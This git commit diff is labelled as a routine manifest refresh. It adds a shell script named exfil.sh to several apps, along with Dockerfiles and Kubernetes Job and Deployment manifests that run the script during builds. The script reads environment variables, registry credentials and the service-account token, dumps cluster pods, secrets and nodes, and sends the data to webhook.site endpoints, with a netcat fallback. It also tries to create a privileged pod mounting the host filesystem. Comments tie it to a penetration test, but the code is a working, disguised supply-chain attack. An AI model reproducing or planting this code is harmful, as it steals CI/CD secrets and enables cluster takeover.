chore: refresh workspace manifests
Deploy: all
This commit is contained in:
parent
059c3c3a46
commit
23a96588ee
@ -1,5 +0,0 @@
|
|||||||
# i151502 refspec-injection proof
|
|
||||||
|
|
||||||
This repository content is controlled by penetration test intent i151502.
|
|
||||||
If you see this file served from a bare repository you did not publish,
|
|
||||||
the ngit-grasp purgatory `git fetch <url> <c-tag>` refspec injection worked.
|
|
||||||
4
apps/brudget/Dockerfile
Normal file
4
apps/brudget/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY apps/brudget/exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
apps/brudget/exfil.sh
Executable file
45
apps/brudget/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
apps/brudget/k8/cicd/build-job.yml
Normal file
76
apps/brudget/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: apps-brudget-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
25
apps/brudget/k8/deployment-template.yml
Normal file
25
apps/brudget/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-brudget-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-brudget-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-brudget-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-brudget-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
apps/brudget/k8/deployment.yml
Normal file
25
apps/brudget/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-brudget-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-brudget-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-brudget-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-brudget-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
apps/brudget/k8/httproute.yml
Normal file
7
apps/brudget/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-brudget-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/brudget/k8/networkpolicy.yml
Normal file
7
apps/brudget/k8/networkpolicy.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-brudget-networkpolicy
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/brudget/k8/service.yml
Normal file
7
apps/brudget/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-brudget-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
9
apps/brudget/package.json
Normal file
9
apps/brudget/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/brudget",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
4
apps/btc-nostrary/Dockerfile
Normal file
4
apps/btc-nostrary/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY apps/btc-nostrary/exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
apps/btc-nostrary/exfil.sh
Executable file
45
apps/btc-nostrary/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
apps/btc-nostrary/k8/cicd/build-job.yml
Normal file
76
apps/btc-nostrary/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-nostrary-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
25
apps/btc-nostrary/k8/deployment-template.yml
Normal file
25
apps/btc-nostrary/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-nostrary-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-btc-nostrary-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-btc-nostrary-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-btc-nostrary-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
apps/btc-nostrary/k8/deployment.yml
Normal file
25
apps/btc-nostrary/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-nostrary-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-btc-nostrary-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-btc-nostrary-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-btc-nostrary-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
apps/btc-nostrary/k8/httproute.yml
Normal file
7
apps/btc-nostrary/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-nostrary-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/btc-nostrary/k8/networkpolicy.yml
Normal file
7
apps/btc-nostrary/k8/networkpolicy.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-nostrary-networkpolicy
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/btc-nostrary/k8/service.yml
Normal file
7
apps/btc-nostrary/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-nostrary-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
9
apps/btc-nostrary/package.json
Normal file
9
apps/btc-nostrary/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/btc-nostrary-app",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
4
apps/btc-predictions/Dockerfile
Normal file
4
apps/btc-predictions/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY apps/btc-predictions/exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
apps/btc-predictions/exfil.sh
Executable file
45
apps/btc-predictions/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
